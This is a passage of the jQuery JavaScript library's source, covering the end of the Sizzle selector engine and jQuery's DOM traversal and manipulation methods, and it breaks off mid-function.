var token, matcher,
i = 0;
for ( ; (token = tokens[i]); i++ ) {
if ( Expr.relative[ token.part ] ) {
matcher = addCombinator( matcher, Expr.relative[ token.part ], context );
} else {
token.captures.push( context, xml );
matcher = addMatcher( matcher, Expr.filter[ token.part ].apply( null, token.captures ) );
}
}
return matcher;
}
function matcherFromGroupMatchers( matchers ) {
return function( elem, context ) {
var matcher,
j = 0;
for ( ; (matcher = matchers[j]); j++ ) {
if ( matcher(elem, context) ) {
return true;
}
}
return false;
};
}
var compile = Sizzle.compile = function( selector, context, xml ) {
var tokens, group, i,
cached = compilerCache[ selector ];
// Return a cached group function if already generated (context dependent)
if ( cached && cached.context === context ) {
return cached;
}
// Generate a function of recursive functions that can be used to check each element
group = tokenize( selector, context, xml );
for ( i = 0; (tokens = group[i]); i++ ) {
group[i] = matcherFromTokens( tokens, context, xml );
}
// Cache the compiled function
cached = compilerCache[ selector ] = matcherFromGroupMatchers( group );
cached.context = context;
cached.runs = cached.dirruns = 0;
cachedSelectors.push( selector );
// Ensure only the most recent are cached
if ( cachedSelectors.length > Expr.cacheLength ) {
delete compilerCache[ cachedSelectors.shift() ];
}
return cached;
};
Sizzle.matches = function( expr, elements ) {
return Sizzle( expr, null, null, elements );
};
Sizzle.matchesSelector = function( elem, expr ) {
return Sizzle( expr, null, null, [ elem ] ).length > 0;
};
var select = function( selector, context, results, seed, xml ) {
// Remove excessive whitespace
selector = selector.replace( rtrim, "$1" );
var elements, matcher, i, len, elem, token,
type, findContext, notTokens,
match = selector.match( rgroups ),
tokens = selector.match( rtokens ),
contextNodeType = context.nodeType;
// POS handling
if ( matchExpr["POS"].test(selector) ) {
return handlePOS( selector, context, results, seed, match );
}
if ( seed ) {
elements = slice.call( seed, 0 );
// To maintain document order, only narrow the
// set if there is one group
} else if ( match && match.length === 1 ) {
// Take a shortcut and set the context if the root selector is an ID
if ( tokens.length > 1 && contextNodeType === 9 && !xml &&
(match = matchExpr["ID"].exec( tokens[0] )) ) {
context = Expr.find["ID"]( match[1], context, xml )[0];
if ( !context ) {
return results;
}
selector = selector.slice( tokens.shift().length );
}
findContext = ( (match = rsibling.exec( tokens[0] )) && !match.index && context.parentNode ) || context;
// Get the last token, excluding :not
notTokens = tokens.pop();
token = notTokens.split(":not")[0];
for ( i = 0, len = Expr.order.length; i < len; i++ ) {
type = Expr.order[i];
if ( (match = matchExpr[ type ].exec( token )) ) {
elements = Expr.find[ type ]( (match[1] || "").replace( rbackslash, "" ), findContext, xml );
if ( elements == null ) {
continue;
}
if ( token === notTokens ) {
selector = selector.slice( 0, selector.length - notTokens.length ) +
token.replace( matchExpr[ type ], "" );
if ( !selector ) {
push.apply( results, slice.call(elements, 0) );
}
}
break;
}
}
}
// Only loop over the given elements once
// If selector is empty, we're already done
if ( selector ) {
matcher = compile( selector, context, xml );
dirruns = matcher.dirruns++;
if ( elements == null ) {
elements = Expr.find["TAG"]( "*", (rsibling.test( selector ) && context.parentNode) || context );
}
for ( i = 0; (elem = elements[i]); i++ ) {
cachedruns = matcher.runs++;
if ( matcher(elem, context) ) {
results.push( elem );
}
}
}
return results;
};
if ( document.querySelectorAll ) {
(function() {
var disconnectedMatch,
oldSelect = select,
rescape = /'|\\/g,
rattributeQuotes = /\=[\x20\t\r\n\f]*([^'"\]]*)[\x20\t\r\n\f]*\]/g,
rbuggyQSA = [],
// matchesSelector(:active) reports false when true (IE9/Opera 11.5)
// A support test would require too much code (would include document ready)
// just skip matchesSelector for :active
rbuggyMatches = [":active"],
matches = docElem.matchesSelector ||
docElem.mozMatchesSelector ||
docElem.webkitMatchesSelector ||
docElem.oMatchesSelector ||
docElem.msMatchesSelector;
// Build QSA regex
// Regex strategy adopted from Diego Perini
assert(function( div ) {
div.innerHTML = "<select><option selected></option></select>";
// IE8 - Some boolean attributes are not treated correctly
if ( !div.querySelectorAll("[selected]").length ) {
rbuggyQSA.push( "\\[" + whitespace + "*(?:checked|disabled|ismap|multiple|readonly|selected|value)" );
}
// Webkit/Opera - :checked should return selected option elements
// http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked
// IE8 throws error here (do not put tests after this one)
if ( !div.querySelectorAll(":checked").length ) {
rbuggyQSA.push(":checked");
}
});
assert(function( div ) {
// Opera 10-12/IE9 - ^= $= *= and empty values
// Should not select anything
div.innerHTML = "<p test=''></p>";
if ( div.querySelectorAll("[test^='']").length ) {
rbuggyQSA.push( "[*^$]=" + whitespace + "*(?:\"\"|'')" );
}
// FF 3.5 - :enabled/:disabled and hidden elements (hidden elements are still enabled)
// IE8 throws error here (do not put tests after this one)
div.innerHTML = "<input type='hidden'>";
if ( !div.querySelectorAll(":enabled").length ) {
rbuggyQSA.push(":enabled", ":disabled");
}
});
rbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join("|") );
select = function( selector, context, results, seed, xml ) {
// Only use querySelectorAll when not filtering,
// when this is not xml,
// and when no QSA bugs apply
if ( !seed && !xml && (!rbuggyQSA || !rbuggyQSA.test( selector )) ) {
if ( context.nodeType === 9 ) {
try {
push.apply( results, slice.call(context.querySelectorAll( selector ), 0) );
return results;
} catch(qsaError) {}
// qSA works strangely on Element-rooted queries
// We can work around this by specifying an extra ID on the root
// and working up from there (Thanks to Andrew Dupont for the technique)
// IE 8 doesn't work on object elements
} else if ( context.nodeType === 1 && context.nodeName.toLowerCase() !== "object" ) {
var old = context.getAttribute("id"),
nid = old || expando,
newContext = rsibling.test( selector ) && context.parentNode || context;
if ( old ) {
nid = nid.replace( rescape, "\\$&" );
} else {
context.setAttribute( "id", nid );
}
try {
push.apply( results, slice.call( newContext.querySelectorAll(
selector.replace( rgroups, "[id='" + nid + "'] $&" )
), 0 ) );
return results;
} catch(qsaError) {
} finally {
if ( !old ) {
context.removeAttribute("id");
}
}
}
}
return oldSelect( selector, context, results, seed, xml );
};
if ( matches ) {
assert(function( div ) {
// Check to see if it's possible to do matchesSelector
// on a disconnected node (IE 9)
disconnectedMatch = matches.call( div, "div" );
// This should fail with an exception
// Gecko does not error, returns false instead
try {
matches.call( div, "[test!='']:sizzle" );
rbuggyMatches.push( Expr.match.PSEUDO );
} catch ( e ) {}
});
// rbuggyMatches always contains :active, so no need for a length check
rbuggyMatches = /* rbuggyMatches.length && */ new RegExp( rbuggyMatches.join("|") );
Sizzle.matchesSelector = function( elem, expr ) {
// Make sure that attribute selectors are quoted
expr = expr.replace( rattributeQuotes, "='$1']" );
// rbuggyMatches always contains :active, so no need for an existence check
if ( !isXML( elem ) && !rbuggyMatches.test( expr ) && (!rbuggyQSA || !rbuggyQSA.test( expr )) ) {
try {
var ret = matches.call( elem, expr );
// IE 9's matchesSelector returns false on disconnected nodes
if ( ret || disconnectedMatch ||
// As well, disconnected nodes are said to be in a document
// fragment in IE 9
elem.document && elem.document.nodeType !== 11 ) {
return ret;
}
} catch(e) {}
}
return Sizzle( expr, null, null, [ elem ] ).length > 0;
};
}
})();
}
// Override sizzle attribute retrieval
Sizzle.attr = jQuery.attr;
jQuery.find = Sizzle;
jQuery.expr = Sizzle.selectors;
jQuery.expr[":"] = jQuery.expr.pseudos;
jQuery.unique = Sizzle.uniqueSort;
jQuery.text = Sizzle.getText;
jQuery.isXMLDoc = Sizzle.isXML;
jQuery.contains = Sizzle.contains;
})( window );
var runtil = /Until$/,
rparentsprev = /^(?:parents|prev(?:Until|All))/,
isSimple = /^.[^:#\[\.,]*$/,
rneedsContext = jQuery.expr.match.needsContext,
// methods guaranteed to produce a unique set when starting from a unique set
guaranteedUnique = {
children: true,
contents: true,
next: true,
prev: true
};
jQuery.fn.extend({
find: function( selector ) {
var i, l, length, n, r, ret,
self = this;
if ( typeof selector !== "string" ) {
return jQuery( selector ).filter(function() {
for ( i = 0, l = self.length; i < l; i++ ) {
if ( jQuery.contains( self[ i ], this ) ) {
return true;
}
}
});
}
ret = this.pushStack( "", "find", selector );
for ( i = 0, l = this.length; i < l; i++ ) {
length = ret.length;
jQuery.find( selector, this[i], ret );
if ( i > 0 ) {
// Make sure that the results are unique
for ( n = length; n < ret.length; n++ ) {
for ( r = 0; r < length; r++ ) {
if ( ret[r] === ret[n] ) {
ret.splice(n--, 1);
break;
}
}
}
}
}
return ret;
},
has: function( target ) {
var i,
targets = jQuery( target, this ),
len = targets.length;
return this.filter(function() {
for ( i = 0; i < len; i++ ) {
if ( jQuery.contains( this, targets[i] ) ) {
return true;
}
}
});
},
not: function( selector ) {
return this.pushStack( winnow(this, selector, false), "not", selector);
},
filter: function( selector ) {
return this.pushStack( winnow(this, selector, true), "filter", selector );
},
is: function( selector ) {
return !!selector && (
typeof selector === "string" ?
// If this is a positional/relative selector, check membership in the returned set
// so $("p:first").is("p:last") won't return true for a doc with two "p".
rneedsContext.test( selector ) ?
jQuery( selector, this.context ).index( this[0] ) >= 0 :
jQuery.filter( selector, this ).length > 0 :
this.filter( selector ).length > 0 );
},
closest: function( selectors, context ) {
var cur,
i = 0,
l = this.length,
ret = [],
pos = rneedsContext.test( selectors ) || typeof selectors !== "string" ?
jQuery( selectors, context || this.context ) :
0;
for ( ; i < l; i++ ) {
cur = this[i];
while ( cur && cur.ownerDocument && cur !== context && cur.nodeType !== 11 ) {
if ( pos ? pos.index(cur) > -1 : jQuery.find.matchesSelector(cur, selectors) ) {
ret.push( cur );
break;
}
cur = cur.parentNode;
}
}
ret = ret.length > 1 ? jQuery.unique( ret ) : ret;
return this.pushStack( ret, "closest", selectors );
},
// Determine the position of an element within
// the matched set of elements
index: function( elem ) {
// No argument, return index in parent
if ( !elem ) {
return ( this[0] && this[0].parentNode ) ? this.prevAll().length : -1;
}
// index in selector
if ( typeof elem === "string" ) {
return jQuery.inArray( this[0], jQuery( elem ) );
}
// Locate the position of the desired element
return jQuery.inArray(
// If it receives a jQuery object, the first element is used
elem.jquery ? elem[0] : elem, this );
},
add: function( selector, context ) {
var set = typeof selector === "string" ?
jQuery( selector, context ) :
jQuery.makeArray( selector && selector.nodeType ? [ selector ] : selector ),
all = jQuery.merge( this.get(), set );
return this.pushStack( isDisconnected( set[0] ) || isDisconnected( all[0] ) ?
all :
jQuery.unique( all ) );
},
addBack: function( selector ) {
return this.add( selector == null ?
this.prevObject : this.prevObject.filter(selector)
);
}
});
jQuery.fn.andSelf = jQuery.fn.addBack;
// A painfully simple check to see if an element is disconnected
// from a document (should be improved, where feasible).
function isDisconnected( node ) {
return !node || !node.parentNode || node.parentNode.nodeType === 11;
}
function sibling( cur, dir ) {
do {
cur = cur[ dir ];
} while ( cur && cur.nodeType !== 1 );
return cur;
}
jQuery.each({
parent: function( elem ) {
var parent = elem.parentNode;
return parent && parent.nodeType !== 11 ? parent : null;
},
parents: function( elem ) {
return jQuery.dir( elem, "parentNode" );
},
parentsUntil: function( elem, i, until ) {
return jQuery.dir( elem, "parentNode", until );
},
next: function( elem ) {
return sibling( elem, "nextSibling" );
},
prev: function( elem ) {
return sibling( elem, "previousSibling" );
},
nextAll: function( elem ) {
return jQuery.dir( elem, "nextSibling" );
},
prevAll: function( elem ) {
return jQuery.dir( elem, "previousSibling" );
},
nextUntil: function( elem, i, until ) {
return jQuery.dir( elem, "nextSibling", until );
},
prevUntil: function( elem, i, until ) {
return jQuery.dir( elem, "previousSibling", until );
},
siblings: function( elem ) {
return jQuery.sibling( ( elem.parentNode || {} ).firstChild, elem );
},
children: function( elem ) {
return jQuery.sibling( elem.firstChild );
},
contents: function( elem ) {
return jQuery.nodeName( elem, "iframe" ) ?
elem.contentDocument || elem.contentWindow.document :
jQuery.merge( [], elem.childNodes );
}
}, function( name, fn ) {
jQuery.fn[ name ] = function( until, selector ) {
var ret = jQuery.map( this, fn, until );
if ( !runtil.test( name ) ) {
selector = until;
}
if ( selector && typeof selector === "string" ) {
ret = jQuery.filter( selector, ret );
}
ret = this.length > 1 && !guaranteedUnique[ name ] ? jQuery.unique( ret ) : ret;
if ( this.length > 1 && rparentsprev.test( name ) ) {
ret = ret.reverse();
}
return this.pushStack( ret, name, core_slice.call( arguments ).join(",") );
};
});
jQuery.extend({
filter: function( expr, elems, not ) {
if ( not ) {
expr = ":not(" + expr + ")";
}
return elems.length === 1 ?
jQuery.find.matchesSelector(elems[0], expr) ? [ elems[0] ] : [] :
jQuery.find.matches(expr, elems);
},
dir: function( elem, dir, until ) {
var matched = [],
cur = elem[ dir ];
while ( cur && cur.nodeType !== 9 && (until === undefined || cur.nodeType !== 1 || !jQuery( cur ).is( until )) ) {
if ( cur.nodeType === 1 ) {
matched.push( cur );
}
cur = cur[dir];
}
return matched;
},
sibling: function( n, elem ) {
var r = [];
for ( ; n; n = n.nextSibling ) {
if ( n.nodeType === 1 && n !== elem ) {
r.push( n );
}
}
return r;
}
});
// Implement the identical functionality for filter and not
function winnow( elements, qualifier, keep ) {
// Can't pass null or undefined to indexOf in Firefox 4
// Set to 0 to skip string check
qualifier = qualifier || 0;
if ( jQuery.isFunction( qualifier ) ) {
return jQuery.grep(elements, function( elem, i ) {
var retVal = !!qualifier.call( elem, i, elem );
return retVal === keep;
});
} else if ( qualifier.nodeType ) {
return jQuery.grep(elements, function( elem, i ) {
return ( elem === qualifier ) === keep;
});
} else if ( typeof qualifier === "string" ) {
var filtered = jQuery.grep(elements, function( elem ) {
return elem.nodeType === 1;
});
if ( isSimple.test( qualifier ) ) {
return jQuery.filter(qualifier, filtered, !keep);
} else {
qualifier = jQuery.filter( qualifier, filtered );
}
}
return jQuery.grep(elements, function( elem, i ) {
return ( jQuery.inArray( elem, qualifier ) >= 0 ) === keep;
});
}
function createSafeFragment( document ) {
var list = nodeNames.split( "|" ),
safeFrag = document.createDocumentFragment();
if ( safeFrag.createElement ) {
while ( list.length ) {
safeFrag.createElement(
list.pop()
);
}
}
return safeFrag;
}
var nodeNames = "abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|" +
"header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",
rinlinejQuery = / jQuery\d+="(?:null|\d+)"/g,
rleadingWhitespace = /^\s+/,
rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,
rtagName = /<([\w:]+)/,
rtbody = /<tbody/i,
rhtml = /<|&#?\w+;/,
rnoInnerhtml = /<(?:script|style|link)/i,
rnocache = /<(?:script|object|embed|option|style)/i,
rnoshimcache = new RegExp("<(?:" + nodeNames + ")[\\s/>]", "i"),
rcheckableType = /^(?:checkbox|radio)$/,
// checked="checked" or checked
rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i,
rscriptType = /\/(java|ecma)script/i,
rcleanScript = /^\s*<!(?:\[CDATA\[|\-\-)|[\]\-]{2}>\s*$/g,
wrapMap = {
option: [ 1, "<select multiple='multiple'>", "</select>" ],
legend: [ 1, "<fieldset>", "</fieldset>" ],
thead: [ 1, "<table>", "</table>" ],
tr: [ 2, "<table><tbody>", "</tbody></table>" ],
td: [ 3, "<table><tbody><tr>", "</tr></tbody></table>" ],
col: [ 2, "<table><tbody></tbody><colgroup>", "</colgroup></table>" ],
area: [ 1, "<map>", "</map>" ],
_default: [ 0, "", "" ]
},
safeFragment = createSafeFragment( document ),
fragmentDiv = safeFragment.appendChild( document.createElement("div") );
wrapMap.optgroup = wrapMap.option;
wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;
wrapMap.th = wrapMap.td;
// IE6-8 can't serialize link, script, style, or any html5 (NoScope) tags,
// unless wrapped in a div with non-breaking characters in front of it.
if ( !jQuery.support.htmlSerialize ) {
wrapMap._default = [ 1, "X<div>", "</div>" ];
}
jQuery.fn.extend({
text: function( value ) {
return jQuery.access( this, function( value ) {
return value === undefined ?
jQuery.text( this ) :
this.empty().append( ( this[0] && this[0].ownerDocument || document ).createTextNode( value ) );
}, null, value, arguments.length );
},
wrapAll: function( html ) {
if ( jQuery.isFunction( html ) ) {
return this.each(function(i) {
jQuery(this).wrapAll( html.call(this, i) );
});
}
if ( this[0] ) {
// The elements to wrap the target around
var wrap = jQuery( html, this[0].ownerDocument ).eq(0).clone(true);
if ( this[0].parentNode ) {
wrap.insertBefore( this[0] );
}
wrap.map(function() {
var elem = this;
while ( elem.firstChild && elem.firstChild.nodeType === 1 ) {
elem = elem.firstChild;
}
return elem;
}).append( this );
}
return this;
},
wrapInner: function( html ) {
if ( jQuery.isFunction( html ) ) {
return this.each(function(i) {
jQuery(this).wrapInner( html.call(this, i) );
});
}
return this.each(function() {
var self = jQuery( this ),
contents = self.contents();
if ( contents.length ) {
contents.wrapAll( html );
} else {
self.append( html );
}
});
},
wrap: function( html ) {
var isFunction = jQuery.isFunction( html );
return this.each(function(i) {
jQuery( this ).wrapAll( isFunction ? html.call(this, i) : html );
});
},
unwrap: function() {
return this.parent().each(function() {
if ( !jQuery.nodeName( this, "body" ) ) {
jQuery( this ).replaceWith( this.childNodes );
}
}).end();
},
append: function() {
return this.domManip(arguments, true, function( elem ) {
if ( this.nodeType === 1 || this.nodeType === 11 ) {
this.appendChild( elem );
}
});
},
prepend: function() {
return this.domManip(arguments, true, function( elem ) {
if ( this.nodeType === 1 || this.nodeType === 11 ) {
this.insertBefore( elem, this.firstChild );
}
});
},
before: function() {
if ( !isDisconnected( this[0] ) ) {
return this.domManip(arguments, false, function( elem ) {
this.parentNode.insertBefore( elem, this );
});
}
if ( arguments.length ) {
var set = jQuery.clean( arguments );
return this.pushStack( jQuery.merge( set, this ), "before", this.selector );
}
},
after: function() {
if ( !isDisconnected( this[0] ) ) {
return this.domManip(arguments, false, function( elem ) {
this.parentNode.insertBefore( elem, this.nextSibling );
});
}
if ( arguments.length ) {
var set = jQuery.clean( arguments );
return this.pushStack( jQuery.merge( this, set ), "after", this.selector );
}
},
// keepData is for internal use only--do not document
remove: function( selector, keepData ) {
var elem,
i = 0;
for ( ; (elem = this[i]) != null; i++ ) {
if ( !selector || jQuery.filter( selector, [ elem ] ).length ) {
if ( !keepData && elem.nodeType === 1 ) {
jQuery.cleanData( elem.getElementsByTagName("*") );
jQuery.cleanData( [ elem ] );
}
if ( elem.parentNode ) {
elem.parentNode.removeChild( elem );
}
}
}
return this;
},
empty: function() {
var elem,
i = 0;
for ( ; (elem = this[i]) != null; i++ ) {
// Remove element nodes and prevent memory leaks
if ( elem.nodeType === 1 ) {
jQuery.cleanData( elem.getElementsByTagName("*") );
}
// Remove any remaining nodes
while ( elem.firstChild ) {
elem.removeChild( elem.firstChild );
}
}
return this;
},
clone: function( dataAndEvents, deepDataAndEvents ) {
dataAndEvents = dataAndEvents == null ? false : dataAndEvents;
deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents;
return this.map( function () {
return jQuery.clone( this, dataAndEvents, deepDataAndEvents );
});
},
html: function( value ) {
return jQuery.access( this, function( value ) {
var elem = this[0] || {},
i = 0,
l = this.length;
if ( value === undefined ) {
return elem.nodeType === 1 ?
elem.innerHTML.replace( rinlinejQuery, "" ) :
undefined;
}
// See if we can take a shortcut and just use innerHTML
if ( typeof value === "string" && !rnoInnerhtml.test( value ) &&
( jQuery.support.htmlSerialize || !rnoshimcache.test( value ) ) &&
( jQuery.support.leadingWhitespace || !rleadingWhitespace.test( value ) ) &&
!wrapMap[ ( rtagName.exec( value ) || ["", ""] )[1].toLowerCase() ] ) {
value = value.replace( rxhtmlTag, "<$1></$2>" );
try {
for (; i < l; i++ ) {
// Remove element nodes and prevent memory leaks
elem = this[i] || {};
if ( elem.nodeType === 1 ) {
jQuery.cleanData( elem.getElementsByTagName( "*" ) );
elem.innerHTML = value;
}
}
elem = 0;
// If using innerHTML throws an exception, use the fallback method
} catch(e) {}
}
if ( elem ) {
this.empty().append( value );
}
}, null, value, arguments.length );
},
replaceWith: function( value ) {
if ( !isDisconnected( this[0] ) ) {
// Make sure that the elements are removed from the DOM before they are inserted
// this can help fix replacing a parent with child elements
if ( jQuery.isFunction( value ) ) {
return this.each(function(i) {
var self = jQuery(this), old = self.html();
self.replaceWith( value.call( this, i, old ) );
});
}
if ( typeof value !== "string" ) {
value = jQuery( value ).detach();
}
return this.each(function() {
var next = this.nextSibling,
parent = this.parentNode;
jQuery( this ).remove();
if ( next ) {
jQuery(next).before( value );
} else {
jQuery(parent).append( value );
}
});
}
return this.length ?
this.pushStack( jQuery(jQuery.isFunction(value) ? value() : value), "replaceWith", value ) :
this;
},
detach: function( selector ) {
return this.remove( selector, true );
},
domManip: function( args, table, callback ) {
// Flatten any nested arrays
args = [].concat.apply( [], args );
var results, first, fragment, iNoClone,
i = 0,
value = args[0],
scripts = [],
l = this.length;
// We can't cloneNode fragments that contain checked, in WebKit
if ( !jQuery.support.checkClone && l > 1 && typeof value === "string" && rchecked.test( value ) ) {
return this.each(function() {
jQuery(this).domManip( args, table, callback );
});
}
if ( jQuery.isFunction(value) ) {
return this.each(function(i) {
var self = jQuery(this);
args[0] = value.call( this, i, table ? self.html() : undefined );
self.domManip( args, table, callback );
});
}
if ( this[0] ) {
results = jQuery.buildFragment( args, this, scripts );
fragment = results.fragment;
first = fragment.firstChild;
if ( fragment.childNodes.length === 1 ) {
fragment = first;
}
if ( first ) {
table = table && jQuery.nodeName( first, "tr" );
// Use the original fragment for the last item instead of the first because it can end up
// being emptied incorrectly in certain situations (#8070).
// Fragments from the fragment cache must always be cloned and never used in place.
for ( iNoClone = results.cacheable || l - 1; i < l; i++ ) {
callback.call(
table && jQuery.nodeName( this[i], "table" ) ?
findOrAppend( this[i], "tbody" ) :
this[i],
i === iNoClone ?
fragment :
jQuery.clone( fragment, true, true )
);
}
}
// Fix #11809: Avoid leaking memory
fragment = first = null;
if ( scripts.length ) {
jQuery.each( scripts, function( i, elem ) {
if ( elem.src ) {
if ( jQuery.ajax ) {
jQuery.ajax({
url: elem.src,
type: "GET",
dataType: "script",
async: false,
global: false,
"throws": true
});
} else {
jQuery.error("no ajax");
}
} else {
jQuery.globalEval( ( elem.text || elem.textContent || elem.innerHTML || "" ).replace( rcleanScript, "" ) );
}
if ( elem.parentNode ) {
elem.parentNode.removeChild( elem );
}
});
}
}
return this;
}
});
function findOrAppend( elem, tag ) {
return elem.getElementsByTagName( tag )[0] || elem.appendChild( elem.ownerDocument.createElement( tag ) );
}
function cloneCopyEvent( src, dest ) {
if ( dest.nodeType !== 1 || !jQuery.hasData( src ) ) {
return;
}
var type, i, l,
oldData = jQuery._data( src ),
curData = jQuery._data( dest, oldData ),
events = oldData.events;
if ( events ) {
delete curData.handle;
curData.events = {};
for ( type in events ) {
for ( i = 0, l = events[ type ].length; i < l; i++ ) {
jQuery.event.add( dest, type, events[ type ][ i ] );
}
}
}
// make the cloned public data object a copy from the original
if ( curData.data ) {
curData.data = jQuery.extend( {}, curData.data );
}
}
function cloneFixAttributes( src, dest ) {
var nodeName;
// We do not need to do anything for non-Elements
if ( dest.nodeType !== 1 ) {
return;
}
// clearAttributes removes the attributes, which we don't want,
// but also removes the attachEvent events, which we *do* want
if ( dest.clearAttributes ) {
dest.clearAttributes();
}
// mergeAttributes, in contrast, only merges back on the
// original attributes, not the events
if ( dest.mergeAttributes ) {
dest.mergeAttributes( src );
}
nodeName = dest.nodeName.toLowerCase();
if ( nodeName === "object" ) {
// IE6-10 improperly clones children of object elements using classid.
// IE10 throws NoModificationAllowedError if parent is null, #12132.
if ( dest.parentNode ) {
dest.outerHTML = src.outerHTML;
}
// This path appears unavoidable for IE9. When cloning an object
// element in IE9, the outerHTML strategy above is not sufficient.
// If the src has innerHTML and the destination does not,
// copy the src.innerHTML into the dest.innerHTML. #10324
if ( jQuery.support.html5Clone && (src.innerHTML && !jQuery.trim(dest.innerHTML)) ) {
dest.innerHTML = src.innerHTML;
}
} else if ( nodeName === "input" && rcheckableType.test( src.type ) ) {
// IE6-8 fails to persist the checked state of a cloned checkbox
// or radio button. Worse, IE6-7 fail to give the cloned element
// a checked appearance if the defaultChecked value isn't also set
dest.defaultChecked = dest.checked = src.checked;
// IE6-7 get confused and end up setting the value of a cloned
// checkbox/radio button to an empty string instead of "on"
if ( dest.value !== src.value ) {
dest.value = src.value;
}
// IE6-8 fails to return the selected option to the default selected
// state when cloning options
} else if ( nodeName === "option" ) {
dest.selected = src.defaultSelected;
// IE6-8 fails to set the defaultValue to the correct value when
// cloning other types of input fields
} else if ( nodeName === "input" || nodeName === "textarea" ) {
dest.defaultValue = src.defaultValue;
// IE blanks contents when cloning scripts
} else if ( nodeName === "script" && dest.text !== src.text ) {
dest.text = src.text;
}
// Event data gets referenced instead of copied if the expando
// gets copied too
dest.removeAttribute( jQuery.expando );
}
jQuery.buildFragment = function( args, context, scripts ) {
var fragment, cacheable, cachehit,
first = args[ 0 ];
// Set context from what may come in as undefined or a jQuery collection or a node
context = context || document;
context = (context[0] || context).ownerDocument || context[0] || context;
// Ensure that an attr object doesn't incorrectly stand in as a document object
// Chrome and Firefox seem to allow this to occur and will throw exception
// Fixes #8950
if ( typeof context.createDocumentFragment === "undefined" ) {
context = document;
}
// Only cache "small" (1/2 KB) HTML strings that are associated with the main document
// Cloning options loses the selected state, so don't cache them
// IE 6 doesn't like it when you put <object> or <embed> elements in a fragment
// Also, WebKit does not clone 'checked' attributes on cloneNode, so don't cache
// Lastly, IE6,7,8 will not correctly reuse cached fragments that were created from unknown elems #10501
if ( args.length === 1 && typeof first === "string" && first.length < 512 && context === document &&
first.charAt(0) === "<" && !rnocache.test( first ) &&
(jQuery.support.checkClone || !rchecked.test( first )) &&
(jQuery.support.html5Clone || !rnoshimcache.test( first )) ) {
// Mark cacheable and look for a hit
cacheable = true;
fragment = jQuery.fragments[ first ];
cachehit = fragment !== undefined;
}
if ( !fragment ) {
fragment = context.createDocumentFragment();
jQuery.clean( args, context, fragment, scripts );
// Update the cache, but only store false
// unless this is a second parsing of the same content
if ( cacheable ) {
jQuery.fragments[ first ] = cachehit && fragment;
}
}
return { fragment: fragment, cacheable: cacheable };
};
jQuery.fragments = {};
jQuery.each({
appendTo: "append",
prependTo: "prepend",
insertBefore: "before",
insertAfter: "after",
replaceAll: "replaceWith"
}, function( name, original ) {
jQuery.fn[ name ] = function( selector ) {
var elems,
i = 0,
ret = [],
insert = jQuery( selector ),
l = insert.length,
parent = this.length === 1 && this[0].parentNode;
if ( (parent == null || parent && parent.nodeType === 11 && parent.childNodes.length === 1) && l === 1 ) {
insert[ original ]( this[0] );
return this;
} else {
for ( ; i < l; i++ ) {
elems = ( i > 0 ? this.clone(true) : this ).get();
jQuery( insert[i] )[ original ]( elems );
ret = ret.concat( elems );
}
return this.pushStack( ret, name, insert.selector );
}
};
});
function getAll( elem ) {
if ( typeof elem.getElementsByTagName !== "undefined" ) {
return elem.getElementsByTagName( "*" );
} else if ( typeof elem.querySelectorAll !== "undefined" ) {
return elem.querySelectorAll( "*" );
} else {
return [];
}
}
// Used in clean, fixes the defaultChecked property
function fixDefaultChecked( elem ) {
if ( rcheckableType.test( elem.type ) ) {
elem.defaultChecked = elem.checked;
}
}
jQuery.extend({
clone: function( elem, dataAndEvents, deepDataAndEvents ) {
var srcElements,
destElements,
i,
clone;
if ( jQuery.support.html5Clone || jQuery.isXMLDoc(elem) || !rnoshimcache.test( "<" + elem.nodeName + ">" ) ) {
clone = elem.cloneNode( true );
// IE<=8 does not properly clone detached, unknown element nodes
} else {
fragmentDiv.innerHTML = elem.outerHTML;
fragmentDiv.removeChild( clone = fragmentDiv.firstChild );
}
if ( (!jQuery.support.noCloneEvent || !jQuery.support.noCloneChecked) &&
(elem.nodeType === 1 || elem.nodeType === 11) && !jQuery.isXMLDoc(elem) ) {
// IE copies events bound via attachEvent when using cloneNode.
// Calling detachEvent on the clone will also remove the events
// from the original. In order to get around this, we use some
// proprietary methods to clear the events. Thanks to MooTools
// guys for this hotness.
cloneFixAttributes( elem, clone );
// Using Sizzle here is crazy slow, so we use getElementsByTagName instead
srcElements = getAll( elem );
destElements = getAll( clone );
// Weird iteration because IE will replace the length property
// with an element if you are cloning the body and one of the
// elements on the page has a name or id of "length"
for ( i = 0; srcElements[i]; ++i ) {
// Ensure that the destination node is not null; Fixes #9587
if ( destElements[i] ) {
cloneFixAttributes( srcElements[i], destElements[i] );
}
}
}
// Copy the events from the original to the clone
if ( dataAndEvents ) {
cloneCopyEvent( elem, clone );
if ( deepDataAndEvents ) {
srcElements = getAll( elem );
destElements = getAll( clone );
for ( i = 0; srcElements[i]; ++i ) {
cloneCopyEvent( srcElements[i], destElements[i] );
}
}
}
srcElements = destElements = null;
// Return the cloned set
return clone;
},
clean: function( elems, context, fragment, scripts ) {
var j, safe, elem, tag, wrap, depth, div, hasBody, tbody, len, handleScript, jsTags,
i = 0,
ret = [];
// Ensure that context is a document
if ( !context || typeof context.createDocumentFragment === "undefined" ) {
context = document;
}
// Use the already-created safe fragment if context permits
for ( safe = context === document && safeFragment; (elem = elems[i]) != null; i++ ) {
if ( typeof elem === "number" ) {
elem += "";
}
if ( !elem ) {
continue;
}
// Convert html string into DOM nodes
if ( typeof elem === "string" ) {
if ( !rhtml.test( elem ) ) {
elem = context.createTextNode( elem );
} else {
// Ensure a safe container in which to render the html
safe = safe || createSafeFragment( context );
div = div || safe.appendChild( context.createElement("div") );
// Fix "XHTML"-style tags in all browsers
elem = elem.replace(rxhtmlTag, "<$1></$2>");
// Go to html and back, then peel off extra wrappers
tag = ( rtagName.exec( elem ) || ["", ""] )[1].toLowerCase();
wrap = wrapMap[ tag ] || wrapMap._default;
depth = wrap[0];
div.innerHTML = wrap[1] + elem + wrap[2];
// Move to the right depth
while ( depth-- ) {
div = div.lastChild;
}
// Remove IE's autoinserted <tbody> from table fragments
if ( !jQuery.support.tbody ) {
// String was a <table>, *may* have spurious <tbody>
hasBody = rtbody.test(elem);
tbody = tag === "table" && !hasBody ?
